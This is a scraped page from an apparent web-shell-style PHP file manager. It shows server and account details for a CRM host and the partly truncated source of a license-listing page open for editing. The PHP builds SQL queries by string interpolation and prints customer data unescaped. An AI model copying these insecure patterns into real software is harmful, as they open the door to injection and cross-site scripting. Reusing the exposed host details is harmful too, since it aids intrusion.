Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 4.18.0-553.84.1.lve.el8.x86_64

PHP Version:

8.2.30

User:

u176134211

Directory:

/home/u176134211/domains/crm.teamhydrashop.com/public_html

Free Space:

8.29 TB

🔧 Quick Actions

✏️ Editing: all-activelicenses.php

<?php
include("include/conn.php");
include("include/function.php");
$login = cekSession();
if ($login != 1) {
    redirect("login.php");
}
?>
<!DOCTYPE html>
<html class="loading" lang="en" data-textdirection="ltr">

.calendar-icon {
            background: none;
            border: none;
            cursor: pointer;
        }

.copy-icon {
            cursor: pointer;
            font-size: 16px;
            color: #007bff;
            margin-left: 10px;
            transition: color 0.3s ease;
        }

.copy-icon:hover {
            color: #0056b3;
        }

.copy-text {
            display: flex;
            align-items: center;
        }

.copy-text input {
            border: none;
            background: none;
            cursor: default;
            padding: 0;
            margin: 0;
            width: 100%;
        }
    </style>

</head>
<?php
include("include/header.php");
include("include/sidebar.php");
?>
<div class="app-content content">
    <div class="content-wrapper">
        <div class="content-wrapper-before"></div>
        <div class="content-header row">
            <div class="content-header-left col-md-4 col-12 mb-2">
                <h3 class="content-header-title">All Users Active Licenses</h3>
            </div>
            <div class="content-header-right col-md-8 col-12">
                <div class="breadcrumbs-top float-md-right">
                    <div class="breadcrumb-wrapper mr-1">
                        <ol class="breadcrumb">
                            <li class="breadcrumb-item"><a href="index.php">Home</a>
                            </li>
                            <li class="breadcrumb-item active">All Licenses
                            </li>
                        </ol>
                    </div>
                </div>
            </div>
        </div>
        <div class="content-body">
            
            <div class="row">
                <div class="col-12">
                    <div class="card">
                        <div class="card-header">
                            <h4 class="card-title">All Licenses</h4>
                            <a class="heading-elements-toggle"><i class="la la-ellipsis-v font-medium-3"></i></a>
                        </div>
                        <div class="card-content collapse show">
                            <div class="card-body">
                            </div>
                            <div class="table-responsive">
                                <table class="table table-bordered mb-0" id="customerTable">
                                    <thead>
                                        <tr>
                                            <th>#</th>
                                            <th>Customer Name</th>
                                            <th>Whatsapp Number</th>
                                            <th>License Key</th>
                                            <th>Activation Date</th>
                                            <th>End Date</th>
                                            <th>Owner</th>
                                            <th>Remaining Days</th>
                                            <th>Status</th>
                                            <th>Actions</th>
                                        </tr>
                                    </thead>

<tbody>
                                        <?php
                                        $iduser = 0;
                                        
                                        if ($_SESSION['user_type'] == 'admin') {
                                            $q = mysqli_query($conn, "SELECT `id`, `customer_name`, `whatsapp_number`, `license_key`, `act_date`, `end_date`, `user_id`, `status` FROM `users` WHERE`status` = 'true'AND `deleted_key` != 'yes'");
                                        } elseif ($_SESSION['user_type'] == 'user') {
                                            $u_id = $_SESSION['id'];
                                            $q = mysqli_query($conn, "
                                                SELECT `id`, `customer_name`, `whatsapp_number`, `license_key`, `act_date`, `end_date`, `user_id`, `status` 
                                                FROM `users` 
                                                WHERE `deleted_key` != 'yes' AND `status` = 'true'
                                                AND (user_id = '$u_id' OR user_id IN (SELECT id FROM admin WHERE admin_id = '$u_id' AND user_type != 'user'))
                                            ");
                                        } else {
                                            $u_id = $_SESSION['id'];
                                            $q = mysqli_query($conn, "SELECT `id`, `customer_name`, `whatsapp_number`, `license_key`, `act_date`, `end_date`, `user_id`, `status` FROM `users` WHERE `user_id` = '$u_id' AND `status` = 'true' AND `deleted_key` != 'yes'");
                                        }

while ($row = mysqli_fetch_assoc($q)) {
                                            $iduser++;
                                            echo '<tr>';
                                            echo '<td scope="row">' . $iduser . '</td>';
                                            echo '<td>' . $row['customer_name'] . '</td>';
                                            echo '<td>' . $row['whatsapp_number'] . '</td>';
                                            // License key with copy icon
                                            echo '<td class="copy-text">';
                                            echo '<input type="text" value="' . htmlspecialchars($row['license_key']) . '" id="license-key-' . $row['id'] . '" readonly>';
                                            echo '<i class="fas fa-copy copy-icon" onclick="copyToClipboard(\'license-key-' . $row['id'] . '\')" title="Copy"></i>';
                                            echo '</td>';

// Activation Date with calendar icon
                                            echo '<td>';
                                            echo '<span class="display-date" id="display-act_date-' . $row['id'] . '">' . $row['act_date'] . '</span>';
                                            echo '<input type="date" class="date-picker hidden" id="input-act_date-' . $row['id'] . '" data-id="' . $row['id'] . '" data-field="act_date" value="' . $row['act_date'] . '">';
                                            echo '<button class="calendar-icon" onclick="showDatePicker(' . $row['id'] . ', \'act_date\')">&#128197;</button>';
                                            echo '</td>';

// End Date with calendar icon
                                            echo '<td>';
                                            echo '<span class="display-date" id="display-end_date-' . $row['id'] . '">' . $row['end_date'] . '</span>';
                                            echo '<input type="date" class="date-picker hidden" id="input-end_date-' . $row['id'] . '" data-id="' . $row['id'] . '" data-field="end_date" value="' . $row['end_date'] . '">';
                                            echo '<button class="calendar-icon" onclick="showDatePicker(' . $row['id'] . ', \'end_date\')">&#128197;</button>';
                                            echo '</td>';
                                            $user_id = $row['user_id'];
                                            $admin_query = mysqli_query($conn, "SELECT username FROM admin WHERE id = '$user_id'");
                                            $admin_row = mysqli_fetch_assoc($admin_query);
                                            $username = $admin_row['username'] ?? 'N/A';

echo '<td>' . $username . '</td>'; // Display the fetched username
                                        
                                            $endDate = new DateTime($row['end_date']);
                                            $today = new DateTime();
                                            $remainingDays = $today->diff($endDate)->days;
                                            echo '<td>' . $remainingDays . '</td>'; // Display remaining days
                                            echo '<td>';
                                            if ($row['status'] == 'true') {
                                                echo '<span class="license-status">Live</span>';
                                            } else {
                                                echo '<span class="license-status">Expired</span>';
                                            }
                                            echo '</td>';

echo '<td>
                                            <div class="btn-group">
                                                <button type="button" class="btn btn-secondary dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
                                                    Actions
                                                </button>
                                                <div class="dropdown-menu">
                                                    <a class="dropdown-item activate-btn" href="#" data-id="' . $row['id'] . '">Activate</a>
                                                    <a class="dropdown-item deactivate-btn" href="#" data-id="' . $row['id'] . '">Deactivate</a>
                                                    <div class="dropdown-divider"></div>
                                                     <a class="dropdown-item edit-btn" href="edit_license.php?id=' . htmlspecialchars($row['id']) . '"" data-id="' . $row['id'] . '">Edit</a>
                                                    <a class="dropdown-item delete-btn" href="#" data-id="' . $row['id'] . '">Delete</a>
                                                </div>
                                            </div>
                                        </td>';

echo '</tr>';
                                        }
                                        ?>
                                    </tbody>
                                </table>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
            
        </div>
    </div>
</div>

<?php include("include/footer.php"); ?>

<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.bundle.min.js"></script>

<script>
    $(document).ready(function () {
        $('#title').html('All License');
        $('#customerTable').DataTable({
            "paging": true, // Enables pagination
            "ordering": true, // Enables sorting
            "searching": true, // Enables searching
            "order": [
                [4, "desc"]
            ], // Default sort by Activation Date in descending order
            "columnDefs": [{
                "orderable": false,
                "targets": 9
            } // Disable sorting on the "Actions" column

]
        });

document.getElementById("sid-all").classList.add("active");
    });
</script>

if (!dateInput) {
            console.error(`Element with ID ${inputId} not found.`);
            return;
        }

dateInput.classList.remove('hidden');
        displayDate.classList.add('hidden');
        dateInput.focus();

dateInput.addEventListener('change', function () {
            const selectedDate = this.value;
            if (selectedDate) {
                const now = new Date();
                const hours = String(now.getHours()).padStart(2, '0');
                const minutes = String(now.getMinutes()).padStart(2, '0');
                const newDateTime = `${selectedDate} ${hours}:${minutes}`; // Format: YYYY-MM-DD HH:MM

displayDate.textContent = newDateTime;
                dateInput.classList.add('hidden');
                displayDate.classList.remove('hidden');

// AJAX request to update the date and time in the database
                $.ajax({
                    url: 'update_date.php',
                    type: 'POST',
                    data: { id: id, field: field, value: newDateTime },
                    success: function (response) {
                        console.log("Response from server:", response); // Debugging line

if (response.trim() === 'success') {
                            Swal.fire({
                                title: 'Updated!',
                                text: 'Date and time updated successfully.',
                                icon: 'success',
                                confirmButtonText: 'OK'
                            });
                        } else {
                            Swal.fire({
                                title: 'Error!',
                                text: 'Failed to update date. Response: ' + response,
                                icon: 'error',
                                confirmButtonText: 'OK'
                            });
                        }
                    },
                    error: function (xhr, status, error) {
                        console.error("AJAX error:", status, error);
                        Swal.fire({
                            title: 'Error!',
                            text: 'An error occurred while updating the date and time.',
                            icon: 'error',
                            confirmButtonText: 'OK'
                        });
                    }
                });
            }
        });

dateInput.addEventListener('blur', function () {
            dateInput.classList.add('hidden');
            displayDate.classList.remove('hidden');
        });
    }

function copyToClipboard(elementId) {
        var copyText = document.getElementById(elementId);
        copyText.select();
        copyText.setSelectionRange(0, 99999); // For mobile devices

try {
            var successful = document.execCommand('copy');
            if (successful) {
                Swal.fire({
                    title: 'Copied!',
                    text: "Copied the text: " + copyText.value,
                    icon: 'success',
                    confirmButtonText: 'OK'
                });
            } else {
                Swal.fire({
                    title: 'Failed!',
                    text: "Failed to copy the text.",
                    icon: 'error',
                    confirmButtonText: 'OK'
                });
            }
        } catch (err) {
            console.error('Oops, unable to copy', err);
            Swal.fire({
                title: 'Error!',
                text: "An error occurred while copying.",
                icon: 'error',
                confirmButtonText: 'OK'
            });
        }
    }
</script>

// Deactivate license
        $(document).on('click', '.deactivate-btn', function (e) {
            e.preventDefault();
            var licenseId = $(this).data('id');
            updateLicenseStatus(licenseId, 'false');
        });

// Function to update license status
        function updateLicenseStatus(id, status) {
            $.ajax({
                url: 'update-license-status.php',
                type: 'POST',
                data: { id: id, status: status },
                success: function (response) {
                    console.log("Response from server:", response); // Debugging line

if (response.trim() === 'success') {
                        Swal.fire({
                            title: 'Updated!',
                            text: 'License status updated successfully.',
                            icon: 'success',
                            confirmButtonText: 'OK'
                        }).then(() => {
                            location.reload(); // Reload only after alert is closed
                        });
                    } else {
                        Swal.fire({
                            title: 'Error!',
                            text: 'Failed to update license status.',
                            icon: 'error',
                            confirmButtonText: 'OK'
                        });
                    }
                },
                error: function () {
                    Swal.fire({
                        title: 'Error!',
                        text: 'An error occurred while updating status.',
                        icon: 'error',
                        confirmButtonText: 'OK'
                    });
                }
            });
        }
    });

// deleted function
    $(document).ready(function () {
        // Delete license by marking it as deleted in the database
        $(document).on('click', '.delete-btn', function () {
            var licenseId = $(this).data('id');

if (confirm('Are you sure you want to delete this license?')) {
                $.ajax({
                    url: 'delete-license.php',
                    type: 'POST',
                    data: { id: licenseId },
                    success: function (response) {
                        if (response.trim() === 'success') {
                            Swal.fire({
                                title: 'Deleted!',
                                text: 'License marked as deleted successfully.',
                                icon: 'success',
                                confirmButtonText: 'OK'
                            }).then(() => {
                                location.reload(); // Reload the page to reflect changes
                            });
                        } else {
                            Swal.fire({
                                title: 'Error!',
                                text: 'Failed to delete license.',
                                icon: 'error',
                                confirmButtonText: 'OK'
                            });
                        }
                    },
                    error: function () {
                        Swal.fire({
                            title: 'Error!',
                            text: 'An error occurred while deleting the license.',
                            icon: 'error',
                            confirmButtonText: 'OK'
                        });
                    }
                });
            }
        });
    });

</script>

</body>

</html>

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: all-activelicenses.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation